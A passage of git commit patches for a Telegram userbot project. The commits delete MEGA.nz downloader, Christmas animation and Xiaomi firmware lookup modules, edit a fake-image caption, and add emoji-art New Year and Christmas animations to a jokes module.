-😁😁 -😁😁 -😁😁😁😁😁😁😁😁 -😁😁😁😁😁😁😁😁""", -"""🥳🥳 🥳🥳 -🥳🥳 🥳🥳 -🥳🥳 🥳🥳 -🥳🥳 🥳🥳 -🥳🥳 🥳 🥳🥳 - 🥳🥳 🥳🥳 🥳🥳 - 🥳🥳 🥳🥳🥳 🥳🥳 - 🥳🥳 🥳🥳 🥳🥳 🥳🥳 - 🥳🥳🥳🥳 🥳🥳🥳🥳 - 🥳🥳🥳 🥳🥳🥳""", -"""🌈🌈 🌈🌈 - 🌈🌈 🌈🌈 - 🌈🌈 🌈🌈 - 🌈🌈 🌈🌈 - 🌈🌈🌈 - 🌈🌈 - 🌈🌈 - 🌈🌈 - 🌈🌈 - 🌈🌈""", -"""🎊🎊🎊🎊🎊🎊🎊🎊 -🎊🎊🎊🎊🎊🎊🎊🎊 -🎊🎊 -🎊🎊 -🎊🎊🎊🎊🎊🎊 -🎊🎊🎊🎊🎊🎊 -🎊🎊 -🎊🎊 -🎊🎊🎊🎊🎊🎊🎊🎊 -🎊🎊🎊🎊🎊🎊🎊🎊""", -""" - ㅤ - 🎉🎉 - 🎉🎉🎉 - 🎉🎉 🎉🎉 - 🎉🎉 🎉🎉 - 🎉🎉 🎉🎉 - 🎉🎉🎉🎉🎉🎉 - 🎉🎉🎉🎉🎉🎉🎉 - 🎉🎉 🎉🎉 - 🎉🎉 🎉🎉 -🎉🎉 🎉🎉""", -""" -🕉🕉🕉🕉🕉🕉🕉 -🕉🕉🕉🕉🕉🕉🕉🕉 -🕉🕉 🕉🕉 -🕉🕉 🕉🕉 -🕉🕉🕉🕉🕉🕉🕉🕉 -🕉🕉🕉🕉🕉🕉🕉 -🕉🕉 🕉🕉 -🕉🕉 🕉🕉 -🕉🕉 🕉🕉 -🕉🕉 🕉🕉"""] - for i in animation_ttl: - - await asyncio.sleep(animation_interval) - await event.edit(animation_chars[i % 12]) From 0db804a403b9bc3024fbc8fa5ded3bec1cfc7855 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 4 Jan 2021 20:48:27 +0530 Subject: [PATCH 330/838] Delete mega.py --- fridaybot/modules/mega.py | 194 -------------------------------------- 1 file changed, 194 deletions(-) delete mode 100644 fridaybot/modules/mega.py diff --git a/fridaybot/modules/mega.py b/fridaybot/modules/mega.py deleted file mode 100644 index dc8e96b2..00000000 --- a/fridaybot/modules/mega.py +++ /dev/null @@ -1,194 +0,0 @@ -# to DARK COBRA by @hellboi_atul -# Copyright (C) 2020 Adek Maulana. -# All rights reserved. -# -# Redistribution and use of this script, with or without modification, is -# permitted provided that the following conditions are met: -# -# 1. Redistributions of this script must retain the above copyright -# notice, this list of conditions and the following disclaimer. -# -# THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED -# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO -# EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, -# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; -# OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, -# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -# OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF -# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -import asyncio -import errno -import json -import math -import multiprocessing -import os -import re -import time -from asyncio import create_subprocess_shell as asyncSubprocess -from asyncio.subprocess import PIPE as asyncPIPE -from urllib.error import HTTPError - -from pySmartDL import SmartDL - -from fridaybot import CMD_HELP, LOGS -from ..utils import admin_cmd, humanbytes, time_formatter - -TEMP_DOWNLOAD_DIRECTORY = Config.TMP_DOWNLOAD_DIRECTORY - - -async def subprocess_run(megadl, cmd): - subproc = await asyncSubprocess(cmd, stdout=asyncPIPE, stderr=asyncPIPE) - stdout, stderr = await subproc.communicate() - exitCode = subproc.returncode - if exitCode != 0: - await megadl.edit( - "**An error was detected while running subprocess.**\n" - f"exitCode : `{exitCode}`\n" - f"stdout : `{stdout.decode().strip()}`\n" - f"stderr : `{stderr.decode().strip()}`" - ) - return exitCode - return stdout.decode().strip(), stderr.decode().strip(), exitCode - - -@borg.on(admin_cmd(outgoing=True, pattern=r"mega(?: |$)(.*)")) -async def mega_downloader(megadl): - await megadl.edit("`Collecting information...`") - if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY): - os.makedirs(TEMP_DOWNLOAD_DIRECTORY) - msg_link = await megadl.get_reply_message() - link = megadl.pattern_match.group(1) - if link: - pass - elif msg_link: - link = msg_link.text - else: - return await megadl.edit("Usage: `.mega` ****") - try: - link = re.findall(r"\bhttps?://.*mega.*\.nz\S+", link)[0] - # - Mega changed their URL again - - if "file" in link: - link = link.replace("#", "!").replace("file/", "#!") - elif "folder" in link or "#F" in link or "#N" in link: - await megadl.edit("`folder download support are removed...`") - return - except IndexError: - await megadl.edit("`MEGA.nz link not found...`") - return None - cmd = f"./DOWNLOADS -q -m {link}" - result = await subprocess_run(megadl, cmd) - try: - data = json.loads(result[0]) - except json.JSONDecodeError: - await megadl.edit("**JSONDecodeError**: `failed to extract link...`") - return None - except (IndexError, TypeError): - return - file_name = data["file_name"] - file_url = data["url"] - hex_key = data["hex_key"] - hex_raw_key = data["hex_raw_key"] - temp_file_name = file_name + ".temp" - temp_file_path = os.path.join(TEMP_DOWNLOAD_DIRECTORY, temp_file_name) - file_path = os.path.join(TEMP_DOWNLOAD_DIRECTORY, file_name) - if os.path.isfile(file_path): - try: - raise FileExistsError(errno.EEXIST, os.strerror(errno.EEXIST), file_path) - except FileExistsError as e: - await megadl.edit(f"`{str(e)}`") - return None - downloader = SmartDL(file_url, temp_file_path, progress_bar=False) - display_message = None - try: - downloader.start(blocking=False) - except HTTPError as e: - await megadl.edit(f"**HTTPError**: `{str(e)}`") - return None - start = time.time() - while not downloader.isFinished(): - status = downloader.get_status().capitalize() - total_length = downloader.filesize if downloader.filesize else None - downloaded = downloader.get_dl_size() - percentage = int(downloader.get_progress() * 100) - speed = downloader.get_speed(human=True) - estimated_total_time = round(downloader.get_eta()) - progress_str = "`{0}` | [{1}{2}] `{3}%`".format( - status, - "".join(["⬤" for i in range(math.floor(percentage / 10))]), - "".join(["◯" for i in range(10 - math.floor(percentage / 10))]), - round(percentage, 2), - ) - diff = time.time() - start - try: - current_message = ( - f"**➥file name : **`{file_name}`\n\n" - "**➥Status**\n" - f"{progress_str}\n" - f"`{humanbytes(downloaded)}` of `{humanbytes(total_length)}`" - f" @ `{speed}`\n" - f"**➥ETA -> **`{time_formatter(estimated_total_time)}`\n" - f"**➥ Duration -> **`{time_formatter(round(diff))}`" - ) - if round(diff % 15.00) == 0 and ( - display_message != current_message or total_length == downloaded - ): - await megadl.edit(current_message) - await asyncio.sleep(0.2) - display_message = current_message - except Exception: - pass - finally: - if status == "Combining": - wait = round(downloader.get_eta()) - await asyncio.sleep(wait) - if downloader.isSuccessful(): - download_time = round(downloader.get_dl_time() + wait) - try: - P = multiprocessing.Process( - target=await decrypt_file( - megadl, file_path, temp_file_path, hex_key, hex_raw_key - ), - name="Decrypt_File", - ) - P.start() - P.join() - except FileNotFoundError as e: - await megadl.edit(f"`{str(e)}`") - return None - else: - await megadl.edit( - f"**➥ file name : **`{file_name}`\n\n" - f"**➥ Successfully downloaded in : ** `{file_path}`.\n" - f"**➥ Download took :** {time_formatter(download_time)}." - ) - return None - else: - await megadl.edit( - "`Failed to download, " "check heroku Logs for more details.`" - ) - for e in downloader.get_errors(): - LOGS.info(str(e)) - return - - -async def decrypt_file(megadl, file_path, temp_file_path, hex_key, hex_raw_key): - cmd = "cat '{}' | openssl enc -d -aes-128-ctr -K {} -iv {} > '{}'".format( - temp_file_path, hex_key, hex_raw_key, file_path - ) - if await subprocess_run(megadl, cmd): - os.remove(temp_file_path) - else: - raise FileNotFoundError(errno.ENOENT, os.strerror(errno.ENOENT), file_path) - return - - -CMD_HELP.update( - { - "mega": "__**PLUGIN NAME :** Mega__\ - \n\n📌** CMD ➥** `.mega` \ - \n**USAGE ➥ **Reply to a MEGA.nz link or paste your MEGA.nz link\ - \n\n__ It will download the file into your userbot server.__" - } -) From af55fb49f585910474684bbfeef23ad4a3c54e5d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 4 Jan 2021 20:48:52 +0530 Subject: [PATCH 331/838] Delete merrychristmas.py --- fridaybot/modules/merrychristmas.py | 173 ---------------------------- 1 file changed, 173 deletions(-) delete mode 100644 fridaybot/modules/merrychristmas.py diff --git a/fridaybot/modules/merrychristmas.py b/fridaybot/modules/merrychristmas.py deleted file mode 100644 index 540a30ee..00000000 --- a/fridaybot/modules/merrychristmas.py +++ /dev/null @@ -1,173 +0,0 @@ -from telethon import events -from asyncio import sleep -import os, sys, random, re -from ..utils import admin_cmd -from fridaybot import bot - -img1=("https://t.me/danish2512/2") -img2=("https://t.me/danish2512/3") -img3=("https://t.me/danish2512/4") -img4=("https://t.me/danish2512/5") -img5=("https://t.me/danish2512/6") -img6=("https://t.me/danish2512/7") -img7=("https://t.me/danish2512/8") -img8=("https://t.me/danish2512/9") -img9=("https://t.me/danish2512/10") -img10=("https://t.me/danish2512/11") -img11=("https://t.me/danish2512/12") -img12=("https://t.me/danish2512/13") -img13=("https://t.me/danish2512/14") -img14=("https://t.me/danish2512/15") -img15=("https://t.me/danish2512/16") -img16=("https://t.me/danish2512/17") -img17=("https://t.me/danish2512/18") -img18=("https://t.me/danish2512/19") -img19=("https://t.me/danish2512/20") -img20=("https://t.me/danish2512/21") -img21=("https://t.me/danish2512/22") -img22=("https://t.me/danish2512/23") -img23=("https://t.me/danish2512/24") -img24=("https://t.me/danish2512/25") -img25=("https://t.me/danish2512/26") -img26=("https://t.me/danish2512/27") -img27=("https://t.me/danish2512/28") -img28=("https://t.me/danish2512/29") -img29=("https://t.me/danish2512/30") -img30=("https://t.me/danish2512/31") - -@borg.on(admin_cmd(outgoing=True, pattern="merrychristmas")) - -async def _(event): - - if event.fwd_from: - return - await event.edit("**.\n\n😊 ℍ𝕠 ℍ𝕠 ℍ𝕠... 🎅🏻\n\n.**") - await sleep(1.6) - await event.edit("🎉") - await sleep(3) - await event.edit("🎊") - await sleep(3) - await event.edit("💔") - await sleep(1.5) - await event.edit("❤") - await sleep(3) - await event.edit(".\n\n\n😊𝓜𝓔𝓡𝓡𝓨 𝓒𝓗𝓡𝓘𝓢𝓣𝓜𝓐𝓢😁\n\n\n.") - await sleep(3) - await event.edit("🥳") - await sleep(3.3) - await event.edit("⛄") - await sleep(3.4) - await event.edit("🌨🌨🌨🌨🌨\n\n❄❄❄❄❄\n❄️❄️❄️❄️❄️") - await sleep(2.8) - await event.edit("☃️") - await sleep(3.7) - await event.edit("🥶") - await sleep(3.7) - await event.edit("🎄") - await sleep(3.2) - await event.edit(".\n\n\n**𝐌𝒆𝒓𝒓𝒚 𝑪𝒉𝒊𝒔𝒕𝒎𝒂𝒔😊😊**\n\n\n.") - await sleep(2.9) - danish = await bot.send_file(event.chat_id,"https://t.me/mcmc2021/36") - await sleep(4) - x=(random.randrange(0,30)) - if x==1: - await bot.send_file(event.chat_id,img1) - - if x==2: - await bot.send_file(event.chat_id,img2) - - if x==3: - await bot.send_file(event.chat_id,img3) - - if x==4: - await bot.send_file(event.chat_id,img4) - - if x==5: - await bot.send_file(event.chat_id,img5) - - if x==6: - await bot.send_file(event.chat_id,img6) - - if x==7: - await bot.send_file(event.chat_id,img7) - - if x==8: - await bot.send_file(event.chat_id,img8) - - if x==9: - await bot.send_file(event.chat_id,img9) - - if x==10: - await bot.send_file(event.chat_id,img10) - - if x==11: - await bot.send_file(event.chat_id,img11) - - if x==12: - await bot.send_file(event.chat_id,img12) - - if x==13: - await bot.send_file(event.chat_id,img13) - - if x==14: - await bot.send_file(event.chat_id,img14) - - if x==15: - await bot.send_file(event.chat_id,img15) - - if x==16.: - await bot.send_file(event.chat_id,img16) - - - if x==17: - await bot.send_file(event.chat_id,img17) - - if x==18: - await bot.send_file(event.chat_id,img18) - - if x==19: - await bot.send_file(event.chat_id,img19) - - if x==20: - await bot.send_file(event.chat_id,img20) - - if x==21: - await bot.send_file(event.chat_id,img21) - - if x==22: - await bot.send_file(event.chat_id,img22) - - - if x==23: - await bot.send_file(event.chat_id,img23) - - - if x==24: - await bot.send_file(event.chat_id,img24) - - - if x==25: - await bot.send_file(event.chat_id,img25) - - - if x==26: - await bot.send_file(event.chat_id,img26) - - - if x==27: - await bot.send_file(event.chat_id,img27) - - - if x==28: - await bot.send_file(event.chat_id,img28) - - - if x==29: - await bot.send_file(event.chat_id,img29) - - - if x==30: - await bot.send_file(event.chat_id,img30) - - - From b59434d236bdd2b1a571433cb56b13bf625e0e56 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 4 Jan 2021 23:21:27 +0530 Subject: [PATCH 332/838] Update fakeimagegen.py --- fridaybot/modules/fakeimagegen.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/fakeimagegen.py b/fridaybot/modules/fakeimagegen.py index abf9e29b..56c2074c 100644 --- a/fridaybot/modules/fakeimagegen.py +++ b/fridaybot/modules/fakeimagegen.py @@ -29,7 +29,7 @@ async def _(event): with open("FRIDAYOT.jpg", 'wb') as f: f.write(response.content) - captin = f"Fake Image By Friday.\nGet Your Own Friday From @FRIDAYCHAT." + captin = f"Fake Image By VirtualUserbot.\nGet Your Own Superpowers From [VirtualUserbot](github.com/inukaasith/virtualuserbot)." fole = "FRIDAYOT.jpg" await borg.send_file(event.chat_id, fole, caption=captin) await event.delete() From 165a1680ae8dd1f2f6f9509b2239eef5c25255a4 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 5 Jan 2021 07:44:56 +0530 Subject: [PATCH 333/838] Delete xiomi.py --- fridaybot/modules/xiomi.py | 197 ------------------------------------- 1 file changed, 197 deletions(-) delete mode 100644 fridaybot/modules/xiomi.py diff --git a/fridaybot/modules/xiomi.py b/fridaybot/modules/xiomi.py deleted file mode 100644 index b755a507..00000000 --- a/fridaybot/modules/xiomi.py +++ /dev/null @@ -1,197 +0,0 @@ -# created by @eve_enryu -# edited & fix by @Jisan7509 - - -from telethon import events -from telethon.errors.rpcerrorlist import YouBlockedUserError -from fridaybot import CMD_HELP -from ..utils import admin_cmd, sudo_cmd - -@bot.on(admin_cmd(pattern="firmware(?: |$)(.*)")) -@bot.on(sudo_cmd(pattern="firmware(?: |$)(.*)", allow_sudo=True)) -async def _(event): - if event.fwd_from: - return - link = event.pattern_match.group(1) - firmware = f"firmware" - catevent = await edit_or_reply(event, "```Processing```") - async with event.client.conversation("@XiaomiGeeksBot") as conv: - try: - response = conv.wait_event( - events.NewMessage(incoming=True, from_users=774181428) - ) - await conv.send_message(f"/{firmware} {link}") - respond = await response - await event.client.send_read_acknowledge(conv.chat_id) - except YouBlockedUserError: - await catevent.edit("```Unblock @XiaomiGeeksBot plox```") - return - else: - await catevent.delete() - await event.client.forward_messages(event.chat_id, respond.message) - - -@bot.on(admin_cmd(pattern="vendor(?: |$)(.*)")) -@bot.on(sudo_cmd(pattern="vendor(?: |$)(.*)", allow_sudo=True)) -async def _(event): - if event.fwd_from: - return - link = event.pattern_match.group(1) - vendor = f"vendor" - catevent = await edit_or_reply(event, "```Processing```") - async with event.client.conversation("@XiaomiGeeksBot") as conv: - try: - response = conv.wait_event( - events.NewMessage(incoming=True, from_users=774181428) - ) - await conv.send_message(f"/{vendor} {link}") - respond = await response - await event.client.send_read_acknowledge(conv.chat_id) - except YouBlockedUserError: - await catevent.edit("```Unblock @XiaomiGeeksBot plox```") - return - else: - await catevent.delete() - await event.client.forward_messages(event.chat_id, respond.message) - - -@bot.on(admin_cmd(pattern="specs(?: |$)(.*)")) -@bot.on(sudo_cmd(pattern="specs(?: |$)(.*)", allow_sudo=True)) -async def _(event): - if event.fwd_from: - return - link = event.pattern_match.group(1) - specs = f"specs" - catevent = await edit_or_reply(event, "```Processing```") - async with event.client.conversation("@XiaomiGeeksBot") as conv: - try: - response = conv.wait_event( - events.NewMessage(incoming=True, from_users=774181428) - ) - await conv.send_message(f"/{specs} {link}") - respond = await response - await event.client.send_read_acknowledge(conv.chat_id) - except YouBlockedUserError: - await catevent.edit("```Unblock @XiaomiGeeksBot plox```") - return - else: - await catevent.delete() - await event.client.forward_messages(event.chat_id, respond.message) - - -@bot.on(admin_cmd(pattern="fastboot(?: |$)(.*)")) -@bot.on(sudo_cmd(pattern="fastboot(?: |$)(.*)", allow_sudo=True)) -async def _(event): - if event.fwd_from: - return - link = event.pattern_match.group(1) - fboot = f"fastboot" - catevent = await edit_or_reply(event, "```Processing```") - async with event.client.conversation("@XiaomiGeeksBot") as conv: - try: - response = conv.wait_event( - events.NewMessage(incoming=True, from_users=774181428) - ) - await conv.send_message(f"/{fboot} {link}") - respond = await response - await event.client.send_read_acknowledge(conv.chat_id) - except YouBlockedUserError: - await catevent.edit("```Unblock @XiaomiGeeksBot plox```") - return - else: - await catevent.delete() - await event.client.forward_messages(event.chat_id, respond.message) - - -@bot.on(admin_cmd(pattern="recovery(?: |$)(.*)")) -@bot.on(sudo_cmd(pattern="recovery(?: |$)(.*)", allow_sudo=True)) -async def _(event): - if event.fwd_from: - return - link = event.pattern_match.group(1) - recovery = f"recovery" - catevent = await edit_or_reply(event, "```Processing```") - async with event.client.conversation("@XiaomiGeeksBot") as conv: - try: - response = conv.wait_event( - events.NewMessage(incoming=True, from_users=774181428) - ) - await conv.send_message(f"/{recovery} {link}") - respond = await response - await event.client.send_read_acknowledge(conv.chat_id) - except YouBlockedUserError: - await catevent.edit("```Unblock @XiaomiGeeksBot plox```") - return - else: - await catevent.delete() - await event.client.forward_messages(event.chat_id, respond.message) - - -@bot.on(admin_cmd(pattern="pb(?: |$)(.*)")) -@bot.on(sudo_cmd(pattern="pb(?: |$)(.*)", allow_sudo=True)) -async def _(event): - if event.fwd_from: - return - link = event.pattern_match.group(1) - pitch = f"pb" - catevent = await edit_or_reply(event, "```Processing```") - async with event.client.conversation("@XiaomiGeeksBot") as conv: - try: - response = conv.wait_event( - events.NewMessage(incoming=True, from_users=774181428) - ) - await conv.send_message(f"/{pitch} {link}") - respond = await response - await event.client.send_read_acknowledge(conv.chat_id) - except YouBlockedUserError: - await catevent.edit("```Unblock @XiaomiGeeksBot plox```") - return - else: - await catevent.delete() - await event.client.forward_messages(event.chat_id, respond.message) - - -@bot.on(admin_cmd(pattern="of(?: |$)(.*)")) -@bot.on(sudo_cmd(pattern="of(?: |$)(.*)", allow_sudo=True)) -async def _(event): - if event.fwd_from: - return - link = event.pattern_match.group(1) - ofox = f"of" - catevent = await edit_or_reply(event, "```Processing```") - async with event.client.conversation("@XiaomiGeeksBot") as conv: - try: - response = conv.wait_event( - events.NewMessage(incoming=True, from_users=774181428) - ) - await conv.send_message(f"/{ofox} {link}") - respond = await response - await event.client.send_read_acknowledge(conv.chat_id) - except YouBlockedUserError: - await catevent.edit("```Unblock @XiaomiGeeksBot plox```") - return - else: - await catevent.delete() - await event.client.forward_messages(event.chat_id, respond.message) - - -CMD_HELP.update( - { - "xiaomi": "**Plugin :** `Xiaomi`\ - \n\n__**For Xiaomeme devices only!**__\ - \n\n**Syntax :** `.firmware` (codename)\ - \n**Function : **Get lastest Firmware\ - \n\n**Syntax :** `.vendor` (codename)\ - \n**Function : **Get lastest Vendor\ - \n\n**Syntax :** `.pb` (codename)\ - \n**Function : **Get latest PBRP\ - \n\n**Syntax :** `.specs` (codename)\ - \n**Function : **Get quick spec information about device\ - \n\n**Syntax :** `.fastboot` (codename)\ - \n**Function : **Get latest fastboot MIUI\ - \n\n**Syntax :** `.recovery` (codename)\ - \n**Function : **Get latest recovery MIUI\ - \n\n**Syntax :** `.of` (codename)\ - \n**Function : **Get latest ORangeFox Recovery" - } -) From d1ec90f36d7e093881113db313a6c68fa5d8dfbc Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 5 Jan 2021 07:52:06 +0530 Subject: [PATCH 334/838] Update fuck11.py --- fridaybot/modules/fuck11.py | 332 +++++++++++++++++++++++++++++++++++- 1 file changed, 331 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/fuck11.py b/fridaybot/modules/fuck11.py index 99e02943..16257cec 100644 --- a/fridaybot/modules/fuck11.py +++ b/fridaybot/modules/fuck11.py @@ -10,9 +10,51 @@ import asyncio -import random +import os, sys, random, re from ..utils import admin_cmd, edit_or_reply, sudo_cmd from fridaybot import CMD_HELP +from telethon import events +from asyncio import sleep +from fridaybot import bot + + + +img1=("https://t.me/danish2512/2") +img2=("https://t.me/danish2512/3") +img3=("https://t.me/danish2512/4") +img4=("https://t.me/danish2512/5") +img5=("https://t.me/danish2512/6") +img6=("https://t.me/danish2512/7") +img7=("https://t.me/danish2512/8") +img8=("https://t.me/danish2512/9") +img9=("https://t.me/danish2512/10") +img10=("https://t.me/danish2512/11") +img11=("https://t.me/danish2512/12") +img12=("https://t.me/danish2512/13") +img13=("https://t.me/danish2512/14") +img14=("https://t.me/danish2512/15") +img15=("https://t.me/danish2512/16") +img16=("https://t.me/danish2512/17") +img17=("https://t.me/danish2512/18") +img18=("https://t.me/danish2512/19") +img19=("https://t.me/danish2512/20") +img20=("https://t.me/danish2512/21") +img21=("https://t.me/danish2512/22") +img22=("https://t.me/danish2512/23") +img23=("https://t.me/danish2512/24") +img24=("https://t.me/danish2512/25") +img25=("https://t.me/danish2512/26") +img26=("https://t.me/danish2512/27") +img27=("https://t.me/danish2512/28") +img28=("https://t.me/danish2512/29") +img29=("https://t.me/danish2512/30") +img30=("https://t.me/danish2512/31") + + + + + + RUNSTRINGS = ( @@ -206,5 +248,293 @@ async def runstrings(event): txt = random.choice(RUNSTRINGS) await edit_or_reply(event, txt) +from fridaybot import CMD_HELP +@bot.on(admin_cmd("newyear")) +async def _(event): + if event.fwd_from: + return + animation_interval = 1 + animation_ttl = range(0,80) + await event.edit("😊 HAPPY NEW YEAR 😁") + animation_chars = ["💖HAPPY NEW YEAR💖","💙HAPPY NEW YEAR💙","❤️HAPPY NEW YEAR❤️","💚HAPPY NEW YEAR💚","💜HAPPY NEW YEAR💜",] + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + await event.edit(animation_chars[i % 5]) +@bot.on(admin_cmd("happynewyear")) +async def _(event): + if event.fwd_from: + return + animation_interval = 1 + animation_ttl = range(0,22) + await event.edit("😊 HAPPY NEW YEAR TO ALL 😁") + animation_chars = ["""💜💜 💜💜 +💜💜 💜💜 +💜💜 💜💜 +💜💜 💜💜 +💜💜💜💜💜💜💜💜💜 +💜💜💜💜💜💜💜💜💜 +💜💜 💜💜 +💜💜 💜💜 +💜💜 💜💜 +💜💜 💜💜""","""ㅤㅤㅤㅤㅤ ㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤ + 💙💙 + 💙💙💙 + 💙💙💙💙 + 💙💙 💙💙 + 💙💙 💙💙 + 💙💙 💙💙 + 💙💙💙💙💙💙 + 💙💙💙💙💙💙 + 💙💙 💙💙 + 💙💙 💙💙 +💙💙 💙💙""","""💚💚💚💚💚💚💚 +💚💚💚💚💚💚💚💚 +💚💚 💚💚 +💚💚 💚💚 +💚💚💚💚💚💚💚💚 +💚💚💚💚💚💚💚 +💚💚 +💚💚 +💚💚 +💚💚""","""💛💛💛💛💛💛 +💛💛💛💛💛💛💛 +💛💛 💛💛 +💛💛 💛💛 +💛💛💛💛💛💛💛 +💛💛💛💛💛💛 +💛💛 +💛💛 +💛💛 +💛💛""","""💜💜 💜💜 + 💜💜 💜💜 + 💜💜 💜💜 + 💜💜 💜💜 + 💜💜💜 + 💜💜 + 💜💜 + 💜💜 + 💜💜 + 💜💜""", +"""😺😺 😺😺 +😺😺😺 😺😺 +😺😺😺😺 😺😺 +😺😺 😺😺 😺😺 +😺😺 😺😺 😺😺 +😺😺 😺😺 😺😺 +😺😺 😺😺 😺😺 +😺😺 😺😺😺😺 +😺😺 😺😺😺 +😺😺 😺😺 +""","""😁😁😁😁😁😁😁😁 +😁😁😁😁😁😁😁😁 +😁😁 +😁😁 +😁😁😁😁😁😁 +😁😁😁😁😁😁 +😁😁 +😁😁 +😁😁😁😁😁😁😁😁 +😁😁😁😁😁😁😁😁""", +"""🥳🥳 🥳🥳 +🥳🥳 🥳🥳 +🥳🥳 🥳🥳 +🥳🥳 🥳🥳 +🥳🥳 🥳 🥳🥳 + 🥳🥳 🥳🥳 🥳🥳 + 🥳🥳 🥳🥳🥳 🥳🥳 + 🥳🥳 🥳🥳 🥳🥳 🥳🥳 + 🥳🥳🥳🥳 🥳🥳🥳🥳 + 🥳🥳🥳 🥳🥳🥳""", +"""🌈🌈 🌈🌈 + 🌈🌈 🌈🌈 + 🌈🌈 🌈🌈 + 🌈🌈 🌈🌈 + 🌈🌈🌈 + 🌈🌈 + 🌈🌈 + 🌈🌈 + 🌈🌈 + 🌈🌈""", +"""🎊🎊🎊🎊🎊🎊🎊🎊 +🎊🎊🎊🎊🎊🎊🎊🎊 +🎊🎊 +🎊🎊 +🎊🎊🎊🎊🎊🎊 +🎊🎊🎊🎊🎊🎊 +🎊🎊 +🎊🎊 +🎊🎊🎊🎊🎊🎊🎊🎊 +🎊🎊🎊🎊🎊🎊🎊🎊""", +""" + ㅤ + 🎉🎉 + 🎉🎉🎉 + 🎉🎉 🎉🎉 + 🎉🎉 🎉🎉 + 🎉🎉 🎉🎉 + 🎉🎉🎉🎉🎉🎉 + 🎉🎉🎉🎉🎉🎉🎉 + 🎉🎉 🎉🎉 + 🎉🎉 🎉🎉 +🎉🎉 🎉🎉""", +""" +🕉🕉🕉🕉🕉🕉🕉 +🕉🕉🕉🕉🕉🕉🕉🕉 +🕉🕉 🕉🕉 +🕉🕉 🕉🕉 +🕉🕉🕉🕉🕉🕉🕉🕉 +🕉🕉🕉🕉🕉🕉🕉 +🕉🕉 🕉🕉 +🕉🕉 🕉🕉 +🕉🕉 🕉🕉 +🕉🕉 🕉🕉"""] + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + await event.edit(animation_chars[i % 12]) + + + + +@borg.on(admin_cmd(outgoing=True, pattern="merrychristmas")) + +async def _(event): + + if event.fwd_from: + return + await event.edit("**.\n\n😊 ℍ𝕠 ℍ𝕠 ℍ𝕠... 🎅🏻\n\n.**") + await sleep(1.6) + await event.edit("🎉") + await sleep(3) + await event.edit("🎊") + await sleep(3) + await event.edit("💔") + await sleep(1.5) + await event.edit("❤") + await sleep(3) + await event.edit(".\n\n\n😊𝓜𝓔𝓡𝓡𝓨 𝓒𝓗𝓡𝓘𝓢𝓣𝓜𝓐𝓢😁\n\n\n.") + await sleep(3) + await event.edit("🥳") + await sleep(3.3) + await event.edit("⛄") + await sleep(3.4) + await event.edit("🌨🌨🌨🌨🌨\n\n❄❄❄❄❄\n❄️❄️❄️❄️❄️") + await sleep(2.8) + await event.edit("☃️") + await sleep(3.7) + await event.edit("🥶") + await sleep(3.7) + await event.edit("🎄") + await sleep(3.2) + await event.edit(".\n\n\n**𝐌𝒆𝒓𝒓𝒚 𝑪𝒉𝒊𝒔𝒕𝒎𝒂𝒔😊😊**\n\n\n.") + await sleep(2.9) + danish = await bot.send_file(event.chat_id,"https://t.me/mcmc2021/36") + await sleep(4) + x=(random.randrange(0,30)) + if x==1: + await bot.send_file(event.chat_id,img1) + + if x==2: + await bot.send_file(event.chat_id,img2) + + if x==3: + await bot.send_file(event.chat_id,img3) + + if x==4: + await bot.send_file(event.chat_id,img4) + + if x==5: + await bot.send_file(event.chat_id,img5) + + if x==6: + await bot.send_file(event.chat_id,img6) + + if x==7: + await bot.send_file(event.chat_id,img7) + + if x==8: + await bot.send_file(event.chat_id,img8) + + if x==9: + await bot.send_file(event.chat_id,img9) + + if x==10: + await bot.send_file(event.chat_id,img10) + + if x==11: + await bot.send_file(event.chat_id,img11) + + if x==12: + await bot.send_file(event.chat_id,img12) + + if x==13: + await bot.send_file(event.chat_id,img13) + + if x==14: + await bot.send_file(event.chat_id,img14) + + if x==15: + await bot.send_file(event.chat_id,img15) + + if x==16.: + await bot.send_file(event.chat_id,img16) + + + if x==17: + await bot.send_file(event.chat_id,img17) + + if x==18: + await bot.send_file(event.chat_id,img18) + + if x==19: + await bot.send_file(event.chat_id,img19) + + if x==20: + await bot.send_file(event.chat_id,img20) + + if x==21: + await bot.send_file(event.chat_id,img21) + + if x==22: + await bot.send_file(event.chat_id,img22) + + + if x==23: + await bot.send_file(event.chat_id,img23) + + + if x==24: + await bot.send_file(event.chat_id,img24) + + + if x==25: + await bot.send_file(event.chat_id,img25) + + + if x==26: + await bot.send_file(event.chat_id,img26) + + + if x==27: + await bot.send_file(event.chat_id,img27) + + + if x==28: + await bot.send_file(event.chat_id,img28) + + + if x==29: + await bot.send_file(event.chat_id,img29) + + + if x==30: + await bot.send_file(event.chat_id,img30) + + + + + CMD_HELP.update({"Sinhala_Jokes": "\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot 😂..\n\n**Nothing to 